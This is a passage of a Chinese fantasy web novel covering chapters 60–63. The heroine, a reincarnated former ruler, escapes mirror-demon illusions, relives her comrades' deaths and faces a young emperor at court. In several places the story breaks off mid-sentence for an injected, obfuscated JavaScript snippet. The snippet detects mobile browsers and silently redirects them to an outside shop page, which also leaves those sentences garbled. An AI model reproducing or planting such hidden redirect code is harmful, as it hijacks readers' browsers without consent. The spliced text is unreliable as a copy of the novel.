她转身继续往前走,不知为何越走越冷,没过多久竟然飘起米粒大小的雪花。 周昭伸手接住一片雪花,很快掌心传来一阵微凉,渡舟适时问道:“需要伞吗?” 周昭摇摇头,她不喜欢下雪。 二人沉默着走了没多久,眼前忽然出现一片冰湖。雪下得更大了,寒意顺着小腿肚一直爬到膝盖,旧伤又开始隐隐作痛。 渡舟默不作声地撑开伞置于她头顶,周昭盯着那片湖,弯下腰歪了歪头,镜中少年也随之歪了歪脑袋。 周昭心头豁然开朗,腾得站起,不料后脑撞到了渡舟随之低下的伞,手忙脚乱中又似乎是踩到了渡舟的脚,渡舟后退两步,双手稳稳地扶住她,伞却纹丝不动地仍然握在他手中,没让一片雪花落在周昭身上。 渡舟低声道:“......大人,当心些。” 二人几乎紧贴,渡舟说话时,胸腔好像贴着她的心脏嗡鸣,周昭往旁边站远些:“你看这片冰湖,像不像一面镜子。” “像。” “我们试试打碎它?” “好。” 周昭抽出匕首,又觉得这东西实在太小了些,杀人可以,用来凿冰湖并不是一个很好的选择。 罢了,总好过没有选择。 周昭走近湖面,正欲将匕首插进去,渡舟却道:“大人,用这个。” 雪恰到好处地停了,渡舟掌心躺着那根骨箫,颜色却比寻常更青。 周昭摇头道:“你这根骨箫太贵重,我怕弄坏了,赔不起。” 渡舟哈哈笑道:“不会让你赔。” 说完,将骨箫在手中转了个圈,随手丢出去。骨箫停在冰湖上方,但还没开始凿,湖面突然咔嚓一声裂开。 昆仲不情不愿飞回渡舟手中,周昭问道:“这是怎么回事儿?” 渡舟淡淡道:“可能是怕我这骨箫下手没个轻重,谁知道呢。” 话音落定,天地色变。 一阵令人目眩的光影过后,眼前景物截然不同,周昭定睛一看,他们竟从刚才的乡野之间来到一处城中闹市。 渡舟道:“那位陆大人得救了。” 周昭放下心来,问道:“我们出来了?” 渡舟神情却不比刚才轻松自在,回答道:“不,我们还在八卦阵中。” 眼前闹市熙熙攘攘,叫卖声不绝于耳。 周昭二人穿过人群,谁知没走多久又碰上陆轻苹。他神情茫然浑不知刚才发生了什么事情,只说和他们走散了。周昭将事情经过删繁就简与他说明,一旁渡舟低声道:“镜中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822739|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜。” “什么意思?” 渡舟道:“我们之中,有人掉进了第二重幻境。” 陆轻苹神情微变,他们来时是五人,剩下的只有国师跟朝安。他们沿着闹市走了快一炷香,终于发现沈云起。 沈云起正在集市上挑挑拣拣,对他们的到来视若无睹,旁边跟着无所适从的朝安。 朝安身上挂满了琳琅满目的包裹,乍然见到他们,喜悦之情溢于言表,解释说刚才他跟沈云起找了一路没发现什么镜子,突然之间也不知怎地就到这儿了。 朝安离远些,压低声音愁眉苦脸道:“国师大人从幻境回来就像变了个人,也不跟我说话,非要在这条街上来回逛......都走三条街了,你们看,买了这么多东西,我都快拿不上了。” “......难道国师大人的欲望就是买东西?”周昭蹙眉道,“这处幻境的阵眼又在哪儿?” 朝安反应过来,脸色不大好看,试探问道:“什么意思?” 陆轻苹扶额叹息道:“我们还在阵中,这回是国师大人。这位公子,可能看出这是什么方位?” “东南方,景门。” 陆轻苹眉头舒展开,说道:“景门乃吉门,国师大人运气很好。” 话虽如此,渡舟却一反常态面容严肃。 陆轻苹走近沈云起,对方果然拖不走也叫不应,嘴里喃喃自语道:“哈哈,我要花光你的钱!” 周昭也听见了,疑惑道:“花光谁的钱?” 沈云起自然听不见周昭讲话的,他们驻足又听了阵儿,沈云起又道:“富贵啊富贵儿,让你平时那么抠,看我今天不花光你的钱!” 众人心中一阵无语,尤以陆轻苹的表情最为丰富多彩,大概是不敢相信堂堂国师还有这一面。 唯有朝安不明就里,追问道:“富贵儿?富贵是谁?我怎么从来没听说过。” 上官富贵是牵机营的人,朝安没听过实属正常。没人回答朝安这个问题,陆轻苹叹息片刻,道:“朝安兄弟,麻烦你在这里保护好国师大人,我们再去找阵眼。” 三人离开长街,不同于陆轻苹的幻境不是在下雨就是飘雪,沈云起的幻境明显更为柔和温暖。 但问题也随之而来。 刚才荒野之间是没有镜子,现在是闹市之中镜子太多。他们前前后后打碎了梳妆镜穿衣镜,甚至是玉石铜像,但都没有效果。 周昭忽然想起刚才在凶门的阵眼之中,她面朝冰湖朝左歪头,但是冰湖里的人影确实朝右歪头的。 难道阵眼中的镜子虽然能倒影,影子却是反的? 周昭将这一发现说了,陆轻苹大喜道:“这样就不用再像无头苍蝇一样找了,这里镜子虽然多,反影的却只有一个。” 渡舟不置可否,似乎从他们进来这里,渡舟就陷入沉思不怎么说话了。 陆轻苹东翻西找,没过多久还真的让他找到一面反影的“镜子”。 周昭面对那口盛水的大缸,招招右手,镜中人果然举起左手挥了挥。 “找到了!就是这个!”陆轻苹喜出望外,正欲将其推倒,昆仲突然从渡舟手中飞出,将那口大缸砸了个稀巴烂。 水流喷薄而出,渡舟收回昆仲,周昭不解问道:“你怎么了?” 渡舟神情凝重地摇摇头,没说话。 眼前之景瞬息万变,天色骤然黯淡。 少顷,沈云起跟朝安自远处而来,朝安兴奋道:“终于出来了,我记得我们进来时是傍晚,现在估计是子时了吧?” “......”渡舟语气阴沉道,“不。” 不光是渡舟,周昭也发现了他们还在阵中。因为这里不是宣朝,而是—— 大周。 61. 求死 暮色低垂,星野辽阔。 苍茫大地之上,零星燃着几团火焰。 将士们席地而坐,三五成群,火光照映在一张张鲜活生动的面庞上,他们或大笑或饮酒,或高歌或闲谈,无不沉浸其中。 浑然不知,在不远处有几只眼睛,正默默地注视着他们的一举一动。 此处是大周北疆境内,天寒地冻,寸草不生。 但火堆只要一燃起来,脱下沉重的盔甲,吃上一口羊腿,喝上一口烈酒,便不觉得冷了。 在这些皮糙肉厚的汉子中间,坐着个年轻少年。 他半背着周昭等人,身边放了只狰狞可怖的饕餮纹面具,火光将那面具映照得通红,勉强露出少年半张俊秀的侧脸来。 偏生这么一副斯文面孔,在这营中却无人敢小觑。 只因一年前孟舒来犯,就是他赶到雪松山报信,后来又献计攻下辽城,士兵们亲眼所见这少年单枪匹马就敢闯城,实乃后生可畏。 有人起哄道:“阿鸢,听说你是从盛都来的,快说说那儿长什么样子?有俺们辽城大吗?” 旁边的士兵推他一把,笑道:“我说赵六子,说你土包子一个你还急,那辽城能跟盛都比吗?” 人群哄然大笑,赵六子长了张娃娃脸,急眼的时候更像个半大孩子,反驳道:“那咋啦!俺是乡下人,辽城是俺见过最大的城了!比俺们村......” “别管你那村啦!阿鸢,快跟兄弟们讲讲!” “对,对!” 一双双眼睛望过来,亮晶晶的,盛满好奇。被叫做阿鸢的少年不好意思地低头笑笑,抿了口酒:“谁说我是盛都来的?” 赵六子不依不饶,眼尖道:“阿鸢,这就是你不对了!跟兄弟们喝酒,怎么还跟个娘儿们似的!” 一只手在赵六子后脑不轻不重地拍了一巴掌,来人自然而然在周昭身边坐下,轻声笑骂道:“活该你讨不到老婆!” 赵六子不用看也知道是谁:“宁大夫,什么风把您吹来了?” “还能是什么风?杨兄弟身上的香风呗!” “哈哈哈哈!你说得对!他俩好得跟穿一条裤子一样,哎!”士兵压低声音,其余人凑近听他道:“我说祝兄弟跟宁大夫……晚上不会睡一个被窝吧!” “哎呦我操!”士兵话音刚落,突然一个狗吃屎往前摔去,少年眼疾手快抓住他后背将人拽回来,回头微笑道:“霍将军来了。” “霍将军!” “霍、霍将军。” 人群自动散开让出空位来,霍璋冲那少年点点头,叉开双腿往那儿一坐,便没人敢再说话了。 他仰脖灌了几大口烧刀子,随意抹了把脸,露出一张比北疆雪山还要冷峻几分的脸来,目光好似最烈性难驯的鹰般巡视一圈儿,然后定格在一人身上,开口道:“燕飞,你小子嘴里是塞猪毛了?” “哈哈哈哈!” 刚才的紧张气氛一扫而空,士兵们又笑着闹着,有人吹起排箫,天幕之下歌声阵阵,火光熊熊。 …… 画面之外,朝安越看越不明白,忍不住道:“这些不像是宣朝士兵,这箫声却有几分熟悉。” 陆轻苹道:“有点像乐府名曲,破阵子。” 沈云起的目光则落在霍璋随身佩戴的那把剑上,奈何夜色深重看不清楚,沉吟道:“辽城,霍将军……” 周昭一颗心呼之欲出,她根本听不见沈云起他们在说什么,眼中只有那一个个熟悉鲜活的面孔。 不是马蹄之下死不瞑目的眼神,不是汴江里泡得浮肿的尸体,而是活着的,千真万确在她眼前活着的,说笑喝酒的人。 霍璋、宁啻、赵六子、燕飞…… 这一个个刻在脑子里永远不会忘记的名字,一张张每到深夜都会出现在睡梦里的脸…… 周昭喉咙发堵,一个字也说不出来。 好像当年少年阿鸢喝下去的那口烧刀子,此刻顺着她的咽喉一路滚落到胃里,让她整个身体都控制不住地发抖。 管他什么牵机营!管他什么镜妖! 如果…… 周昭是说如果,能让眼前这些人都能活过来…… 但周昭知道这是幻境,这些跟她同生共死的人再也不会活过来了。他们都死在那年冬天,死在那场飘了数月不肯停的大雪里,死在那条被血染红的江水里。 汴江真冷啊……冷得周昭阵阵发抖。 她咬紧牙关,沉默着低下头,鲜红的血水开始浸过她的鞋面,继而是小腿,再是胸口,冷得她骨头缝里都在抗议,都在叫嚣,冷得她心脏仿佛被缓慢地冻住,呼出的气仿佛是飘落的雪花。 “陛下!陛下快跑吧!” …… “大人?大人!” “阿鸢!哈哈哈哈,快来啊阿鸢!” “阿鸢?” “阿鸢。” “阿鸢兄弟!” 燕飞在马背上冲她微笑:“那日是我混说,对不起啦阿鸢。” 赵六子悄无声息走过来,冲周昭做了个鬼脸,口型道:“嘘……” 他一甩马鞭打在燕飞那匹马屁股上,马儿受惊像弦上之箭射出去,赵六子笑得前仰后合。 “我□□……”燕飞骂天骂地的声音越来越远。 周昭也跟着笑,她努力咧开嘴,眼泪却顺着两颊往下流。 赵六子不笑了,收了马鞭走到周昭身边,关切道:“阿鸢,你怎么啦?燕飞那小子又说什么浑话了?你等着,俺揍他去!” “不,不是。”周昭拉住他,笑得比哭还难看,“我很高兴。” “哈哈哈哈你真怪,高兴你哭什么?”赵六子大大咧咧勾上周昭的肩,“过两天又要打仗啦,走,咱们兄弟喝酒去!把宁大夫也喊来。” 周昭点点头:“我高兴,你们都还活着。” 赵六子更是笑得不可开交,说道:“阿鸢你喝酒喝傻了吧!咱们不都活得好好的,再说俺还没娶老婆,俺还想长命百岁娶老婆!” 周昭擦干眼泪跟着他走,心想她今天这是怎么了?好端端的哭什么?等会儿要少喝点烧刀子,那玩意儿太烈,她始终喝不习惯。 走着走着,脑海里突然出现一个声音—— “天杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828459|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的周昭!你他妈就这点儿本事吗!还要老子来救你!” 谁在说话? 周昭一个激灵,原来是漫天大雪忽然飘起来,雪珠子挂在她眼睫上,冷的。 “六哥,下雪了。”周昭伸手接了片雪花,赵六子回过头,指着头顶道:“兄弟,你看这天……” 周昭跟着抬头一看,不得了,天竟然裂了个缝! 那条缝隙越来越大,越来越明显,最后竟然完全裂开了! 无数碎片从头顶落下来,赵六子那张娃娃脸被划得鲜血直流,他却毫无知觉似的,愣愣地站在原地用手去摸,“我怎么流血了?” “六哥!快跑!” “快——” 周昭向前奔去,脚底一空,她先是感到一阵让人心口窒息的寒冷,冷到周昭失去知觉大脑空白了一瞬间,她还在愣愣地想:我这是怎么了?随后才察觉到自己掉进了冰窟窿。 “六哥!我......”周昭手脚并用游上去,却看见赵六子的尸体一半沉在水里一半趴在冰面上,睁着双眼直勾勾望着她。 不,望着周昭的不止赵六子一个。 整个冰面上都是浮尸,那些刚刚还笑着的、唱着的,都被大雪裹上一层白霜,静静地望着她。 水像刮骨的刀子,赵六子的血慢慢洇开,一丝一缕像索命的游魂顺着水面而来,灭顶的恐惧袭来,周昭牙齿直打颤,攀着冰面的手一松,掉进深不见底的江水里。 江水被血染红,周昭猛然惊醒——这是镜妖幻境! 周昭想大声喊,想大声叫,但不知怎的,这具身体却好像不是她自己的了,无论怎么努力都动也不动。 ……周昭,你是该死的人。 就这样死掉吧,死在一千多年前,死在跟你并肩作战的那些人身边,死在白茫茫大雪天落个干净。 周昭意识消沉而麻木,久违的窒息感让她获得了前所未有的平静,就这么不住地往下沉,再沉…… …… “殿下!” 周昭觉得这声音熟悉,随之什么东西靠近她,手掌揽住她的腰。不仅声音熟悉,这个人的气息也很熟悉,不仅熟悉,还很…… 奇怪。 唇瓣传来异样的触感,随之,新鲜气体被强硬地灌进肺里。 周昭是被这样渡了两三口气才反应过来,她上辈子这辈子从未与人这般接触过,脑子里像烟花轰的一声炸开,炸得她头晕目眩。 放、放肆! 周昭咬紧牙关,却被轻轻捏住下巴强迫她张开,那人呼吸烫得像烧红的铁,一口接一口渡气进来。 太放肆!朕要杀了你!!! 周昭昏昏沉沉,一会儿是赵六子死在面前的样子,一会儿是那张沉在江底,近在咫尺却看不清的脸。 耳畔风声呼啸,箫鼓咽咽,却有一双手紧紧地拥住她,在这寒天风雪里既轻柔又珍重地拥住她。 周昭冷热交加,猝然睁开眼睛,浑身都湿透了,嘴里还在喃喃:“放、放肆......” “说什么,听不清楚。”陆轻苹伸手,将周昭额头上汗湿的热毛巾换下来。 62. 面圣 周昭缓了许久,陆轻苹这句话才进到她痛得快要裂开的脑子里。 这不是幻境,是处陌生房间。 尚未入冬,屋内却拢着银丝炭,烧得周身暖融融汗津津。周昭眼皮抬了抬,问道:“陆大人,这是哪儿......” 说出口的声音沙哑无比,周昭自己都惊了一跳,陆轻苹眉头皱紧,压低声音道:“宫里。” “宫里?”周昭拂开丫鬟递过来的热茶,正欲发问,陆轻苹又将她按回床上躺好,说道:“你知道最后一个幻境是哪一卦吗?西北,死门。” “......”陆轻苹目光晦暗不明,“看来你运气不太好。” 周昭强作笑意,答道:“确实。” 运气不好是一方面,有人想要她死才是真。 “说来那位‘路过公子’,倒是厉害得很。”陆轻苹继续说道,“能将死门硬生生挪到生门,这才救了你。” 死门挪到生门? 周昭反应过来:“陆大人,你说的生门……不会就是皇宫吧?” 陆轻苹点点头,周昭无论如何都躺不住了,将额上热巾丢开,一连串问道:“那现在是什么情况?镜妖抓到没有?渡......陆大人。” “幻境一破,镜妖被打出原形。”陆轻苹没听出周昭险些说漏嘴,避重就轻,问道:“你猜是谁?” 还能有谁?周昭道:“贵妃。” 陆轻苹赞赏道:“你很聪明。” “百密而一疏。” “说来听听。” 周昭道:“陆大人,你还记得我们之前推测,每个失踪的人或是近期从吴记宝斋买过一样东西,或是去过跟吴记宝斋有生意来往的酒楼茶馆等,但贵妃娘娘,似乎怎么看都跟吴记宝斋没有联系。此为其一。” “陆大人刚才所说生门为其二,我虽不太懂阴阳八卦阵,但想来跟寻常八卦阵类似,要想发挥效力最大,布阵者需坐阵其中。这并不是说生门就绝对是凶手,八卦阵高手能自断吉凶,而我们遇到的这位却一直待在生门不出来,我猜是在忌惮什么,不敢出来。” 前半段是周昭一早就疑心的,后半段纯属周昭胡说八道。 幻境已破,渡舟却不在,她跟陆轻苹滞留皇宫,一猜便知宫里发生了件大事,以至于没人有空管他们,但又不能先放出去,所以安排了这么个地方暂且看住。 陆轻苹不置可否,说道:“真没想到,会是贵妃。” 陆轻苹前些日子被贬跟贵妃或多或少有些关系,周昭看来这倒是件好事儿。她又问:“其余人呢?” 陆轻苹道:“国师大人被圣上叫去了,走之前安排我们在这儿等着。至于那位‘路过公子’......” 他颇有些神情莫测地笑说:“仗着年纪小,很不怕死。” “何来此一说?” “他将死门转到皇宫,占了生门一位且不说。皇宫是什么地方,路过的鸟都得夹着嗓子不敢高声叫,他倒好,绑了镜妖大摇大摆闯进宫里,要问罪圣上的女人,幸亏被国师拦下强送出宫了。不过那镜妖可惨了,被砸镜子那一下打得险些魂飞魄散。” 陆轻苹眸光一转,状似不经意地问道:“……你说,镜妖真能凭空捏造一个谁也没见过的幻境吗?” 周昭心里咯噔一下,恰好此时来了位上了年纪的白面太监,笑说道:“陆大人,圣上有请。” 陆轻苹问候道:“劳烦高公公亲自跑一趟。敢问是传我一人,还是......” 高公公又笑:“圣上说了,这里头有多少请多少。” 这里的构造跟大周皇宫很像,周昭走过宫道,穿过漆红宫墙,有那么几个瞬间还当自己被众人拥簇着走在盛都皇城。 高公公在前面带路,左右各有一个提灯笼的小太监,皆弯着腰垂着眼默不作声。 少顷,来到一座金碧辉煌的大殿前,上提匾额“华阳殿”。 殿内点着烛火,隔着窗棂只看见人影绰绰,却安静得没什么人气儿。 陆轻苹同她在殿外驻足,高公公躬身进去传话,没多久又迈着碎步出来,略一欠身道:“二位,请吧。” 周昭先是闻到一阵儿宫里惯用的龙涎香,然后才看到龙椅上坐着位年轻帝王。 宣朝的皇帝很年轻,年轻就容易藏不住事儿,心思都写在脸上。其实当年周昭坐上这个位子跟他差不多大,但周昭是战场上滚出来的,不好相提并论。 赵允城身量不算魁梧,一张脸温和无害,眉眼依稀能看出生养他的那位女子相貌。 小皇帝端坐在龙椅上,并无为王者该有的气度,反而有些深宫里养出来的奢靡颓废之气。 殿内不过寥寥数人。 除了赵允城、高公公,中间跪着陆轻苹二人,左边站着个长须中年男子,周昭并不认识。 右边是国师押着一手脚被缚,衣衫带血形容憔悴的女子,想必就是贵妃。沈云起衣服都没来得及换,还是红袍官服,看向周昭的眼神却有几分古怪。 赵允城扫了眼阶下跪着的陆轻苹,目光却停在周昭身上,声音自上而下传过来:“你,上前来。” 周昭起身,抬脚上前。 立在皇帝身边服侍的高公公却不住地冲她使眼色,周昭不明所以,不是叫她上前吗? 赵允城好奇打量周昭,身体前倾道:“你跟别人不一样。见到朕的人,都是低着头,朕叫他们抬头才抬头。但朕见你一路走来昂首挺胸毫不露怯,你不怕朕吗?” 周昭知道问题出在哪儿了——习惯。 周昭从小在宫里长大,一应礼仪就如家常便饭。但她那时多是上位者,身份调转,压根没注意到这些细枝末节。 但此刻再低头反而不妥,周昭当即撩袍落跪,脊背挺得笔直,答道:“回圣上的话,小民早就听说当今天子宅心仁厚,今日承蒙圣恩,得见龙颜,小民心中感激。而圣人是百姓君父,见君父应该欢喜,哪有害怕的道理?” 周昭这话虽然不卑不亢,却是投机取巧。 若圣上爱听便好,若圣上因此厌她油嘴滑舌也并无可能。高公公拭了拭额头汗珠子,眼瞅着圣上正为贵妃娘娘一事心烦,却又来了个一身硬骨头的主儿。 小皇帝像是听见什么笑话,脸上的表情既不像被哄高兴了,也不像讨厌这番做派,反而指着周昭哈哈大笑道:“忠贤,你听见没有?她说朕是君父,那你岂不是要叫我父亲,叫静婉母亲了?” 高忠贤怎么敢答,伏在地上的镜妖却被逗得直笑。国师望那妖物一眼,站出来道:“圣上,贵妃娘娘是镜妖变化,这已是板上钉钉之事,怎可儿戏?” 小皇帝一脸扫兴,不情不愿道:“国师,朕就是开个玩笑。”他又问:“陆爱卿何在?也站出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841162|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给朕瞧瞧。” 陆轻苹应了声是,起身抬头。 小皇帝点点头,称赞道:“陆爱卿一表人才,上回朕罚你,心中可有怨气?” “臣不敢。” 小皇帝笑说:“那如果朕这回还要罚你,你可有怨?” 陆轻苹轻轻抿唇,又回:“臣,不敢。” 小皇帝分明就是想包庇贵妃,放着那么多条人命不管,却糊涂地偏信一个妖物,国师忍不住道:“圣上,陆大人此番抓妖殚精竭虑,是为圣上也是为九洲城黎明百姓,若是再罚,只怕寒了天下人心。” 小皇帝嘴里嘟囔几句,竟说:“但朕就喜欢静婉,那么......如果你们能给朕再找来一个跟静婉一样好的女子,朕就不罚他。” 简直荒唐...... 青砖冰冷,寒意顺着双膝往骨头里渗。 周昭已跪了许久,小皇帝却转头将她忘了,跟着国师一来一回说起话来。 跪得正艰难,赵允城突然看向她:“这样吧,朕看她就很不错。” 遭了。 周昭陡然一惊,她醒过来便是恍恍惚惚,竟然忘了易容丹药效早过了时辰。 难怪陆轻苹那时要说那样的话,沈云起看自己也透着古怪,二人分明是对她起了疑心。 赵允城指着周昭,眼中带了点儿顽劣的笑,让人分辨不出他是故意为之,还是真的没脑子,笑说:“要朕不罚陆爱卿可以,她得代替静婉,留在宫里陪朕玩儿。” 众人哗然,周昭更是震惊不已。 膝盖的疼痛一鼓作气窜上来,像冰窖似的浑身发冷。 此时殿外传来一阵不紧不慢的脚步声,一个低沉的声音紧随其后—— “玩够没有?” 黑靴落在青砖上,几个鼓点之后,熟悉的玄色外袍与周昭擦身而过之际,一只手隔着衣袍将周昭不着痕迹地从地上带起,那双黑靴继而又旁若无人地往前去了。 是渡舟。 周昭抬眸看去,他又换了张人皮。 小皇帝害怕地缩了缩脖子,唤道:“皇叔。” 渡舟解了大氅随手扔给高公公,对方忙不迭接住,一个小太监上前服侍渡舟落座。 渡舟目光沉沉,殿内因着他突然闯入而鸦雀无声,只有陆野萍神情颇有几分不满和文人的傲气。 渡舟开口道:“镜妖抓了,贵妃也找到了,皇帝不下令诛杀,还在等什么?” 小皇帝犹犹豫豫道:“可是皇叔......” 渡舟不耐烦道:“我给你两个选择,你自己杀,或者我帮你杀。” 小皇帝声音带了点儿哭腔,愁眉苦脸道:“那......还是朕来,朕跟静婉好歹夫妻一场......” 一直默立在皇帝左边那位长须男子突然站出来,说道:“圣上,牵机营权力太大,眼高于顶,对圣上更是毫无为人臣子的......” 渡舟打断他,挑眉道:“丞相,谁说我是臣子了?” 丞相一时无言,片刻后跪地俯首道:“圣上!他在您眼前都敢如此放肆,果然是我大宣朝之害啊!还望圣上早下决断,万不可被小人蒙蔽!牵机营近些年愈发猖獗,目无律法,他们今日敢陷害贵妃娘娘是妖,他日就敢说您不配为君!圣上,您万不可再认贼作父,否则,我大宣朝早晚有一日要毁在小人手里啊圣上!” 63. 冷吗 小皇帝仿佛只听到“陷害”二字,急切问道:“丞相,你说静婉是无辜的?” 丞相答道:“贵妃娘娘久居深宫从未踏出宫门,怎么可能害人!” 小皇帝又扭头看向渡舟,一脸天真问道:“皇叔,丞相说的是真的吗?” 渡舟语气不善:“你说呢?” 这回轮到陆野萍听不下去了,俯身拜道:“圣上可愿听下官一言。” 小皇帝道:“陆爱卿请讲。” 陆野萍说道:“贵妃确是镜妖不假,杀人偿命,天经地义。再说一只妖物,扒了那层美貌人皮,其实是吃人不吐骨头的邪祟,十分危险。圣上是一国之君,更应保重龙体才是。” “陆爱卿继续。” 陆爱卿缓了口气,看了渡舟一眼,道:“至于牵机营……目无君父,只手遮天,长此以往朝纲必乱。臣以为,当重罚。” 丞相附和道:“陆大人说得对!就算真是镜妖,那也是国师跟陆大人抓来的,牵机营亦有办事不力之嫌。” 小皇帝转向沈云起,问道:“国师怎么看?” “……”沈云起低着头道,“全凭圣上裁断。” 让他裁断,赵允城反倒六神无主了,一会儿看看底下的陆轻苹,一会儿看看渡舟,最后将目光又落在周昭身上,冷不丁道:“你说。” 周昭上辈子杀过的人,兴许比赵允城见过的人都多,她登基后一度以铁血手腕推行新政,朝堂之上的弯弯绕于周昭而言,简直是家常便饭。 周昭故作思索地沉吟片刻,微笑道:“小民只知道,圣上被妖邪蒙蔽,发现后为民除妖,乃天下之幸事。” 赵允城满意点头,又问渡舟:“皇叔以为如何?此次抓那镜妖,虽然交给皇叔在办,但抓来邪祟的到底是陆大人……” 渡舟淡淡道:“随你。” 丞相适时进言道:“圣上,老臣以为,应当立即收回牵机营掌管九洲城边防之兵权!” 赵允城不说好也不说不好,还是问渡舟:“皇叔,兵权该交给谁?” 渡舟看上去对什么都毫无兴趣,还是道:“随你。” 赵允城方才问得恳切,此刻得了答案,又笑道:“那就交给陆爱卿吧。即日起,你就是禁军总督。” 到底是年轻了,心急了些,周昭想。 “这……”陆轻苹还要推辞,赵允城却摆手示意他莫要再说。 渡舟听到此处站起身,赵允城示意高公公递上大氅,道:“皇叔慢走。” 众人退下,出了宫殿,一阵冷风吹在身上。 周昭打了个哆嗦,一只带着点儿微末体温的大氅忽然落在她肩上,渡舟毫不避讳地走到她面前,低着头一言不发将衣带系好。 陆轻苹经过之时,神情复杂地看了一眼,后知后觉自己是被周昭摆了第二道,于是头也不回地走了。 渡舟将周昭裹得严严实实,末了抬头看她一眼,轻轻叹了口气,说道:“夜里黑,我牵着你走。” 渡舟说完,隔着衣袖握住周昭手腕,不算逾矩,周昭却觉得腕上皮肤滚烫。不知是刚才在殿内待久了闷着了,还是又想起幻境中的荒唐事来。 那到底是真的还是假的? 若是真的,那人到底是不是…… 周昭心烦意乱,又不好直接问渡舟,犹豫间脚下已经迈开步子再无回头路,只好由着渡舟牵着,在这沉寂而又偌大的皇宫里缓慢地走。 渡舟既没过问周昭为什么要避过牵机营去找陆轻苹,也没过问周昭为什么全都想起来了却要装傻。 周昭不难猜渡舟一定早就看出来了,彼时没问,现在更不会再问了。 不过周昭顶着上辈子这张脸被当场抓包,总归有点尴尬,因此不好说什么。 走了阵子,许是太沉默,渡舟缓缓开口道:“赵允城扮猪吃老虎,跟丞相一个唱红脸一个唱白脸,这回也怪我考虑不周……” 周昭自然也看出小皇帝心思不纯,但这事儿要看怎么想。 如果站在陆轻苹之类清流来看,牵机营就是国之祸害枕边猛虎。 如果从利国利民来说,据周昭所知牵机营也没干什么坏事,顶多是渡舟本人行事出格不加收敛。 “牵机营被夺了边防兵权,下一步,皇帝估计要把矛头对准你了。” 渡舟满不在乎道:“随便,赵允城是我看着长大的小子,虽然翅膀硬了,还能飞到哪儿去。” 周昭心说那可不一定,转开话题道:“镜妖抓到了,人还有得救吗?” 渡舟道:“只要能找到镜妖藏起来的镜子,也许有救。我留了人在宫里,最晚天一亮会有结果。” 牵机营能只手遮天,宫里自然有渡舟的人。周昭不便过问,渡舟想了想又补充道:“皇城里水浑。” 言下之意,是让周昭莫要蹚这趟浑水。 周昭含糊不清地嗯了一声,渡舟又道:“还冷吗?” “不冷。” “……我是问,那年汴江的水,殿下如今还觉得冷吗?” ——到底是说回从前。 这种感觉很奇怪。 明明渡舟跟她并非多亲的人,但好歹隔着千百年光阴,如今留下的也只有渡舟。 如今渡舟不过问她一句“汴江的水还冷吗”,周昭喉头却情难自禁涌上一股酸意,直冲眼眶底下。 渡舟小心牵着她,在月光底下一边走,一边自顾自说低声说道:“……殿下,你膝盖不好,那是经年不治的旧伤,我一时半会儿也没法子根治。不过总能治好,但我能治,也经不住殿下不爱惜。” 渡舟一语双关,想着周昭那么聪明一个人,自然能听明白。 但听不听明白是一回事儿,听不听得进去又是一回事儿。 周昭一直低着头不吭声,渡舟又说:“往后别再给人跪着了,殿下……你是那么金贵的一个人。” 他后半句话有些沙哑,像是从喉咙里磨出来似的。周昭停下脚步,抬起眸子,脸上挂着这些时日装久了的假笑,淡淡道:“十六,你当年是不是利用我?” 她问得突然,渡舟跟着停步,虽然是另一张陌生的皮,但那双眼睛里的东西总不会变。 渡舟沉默良久,点了点头。 周昭本以为早就心硬如铁,还是有什么地方忍不住针扎似的瑟缩了一下。 虽然上辈子就知道,渡舟接近她是为了她那一身毕方神血,但猜测总不是真的,还留有余地,渡舟却亲自把这点儿余地给踩死了。 “……所以,现在也是吗?”周昭抽回手,假笑显得有些凄凉,“可我已经没有神血,如你所说,血流干了。” “……”渡舟眸光微暗,“殿下原来是这么看我的。” 周昭道:“我怎么看,不重要。十六,好歹相识一场。不管你从前为什么利用我,或是如今也还要利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周昭退到一旁,小声问道:“上官大人最近很忙吗?好久不见你了。” 上官笑了笑,神神秘秘道:“帮你找贺金牙。” “找到了?” “那是自然。”上官又道,“你同主君一道来的,他没告诉你吗?就在昨夜......” 渡舟睁开眼睛,二人皆住了口。 昆仲又恢复本来的颜色落回渡舟掌心,周昭见渡舟脚边散落着许多花瓣,颜色发黑悉数枯萎,想必这救人的法门会耗费渡舟不少法力。 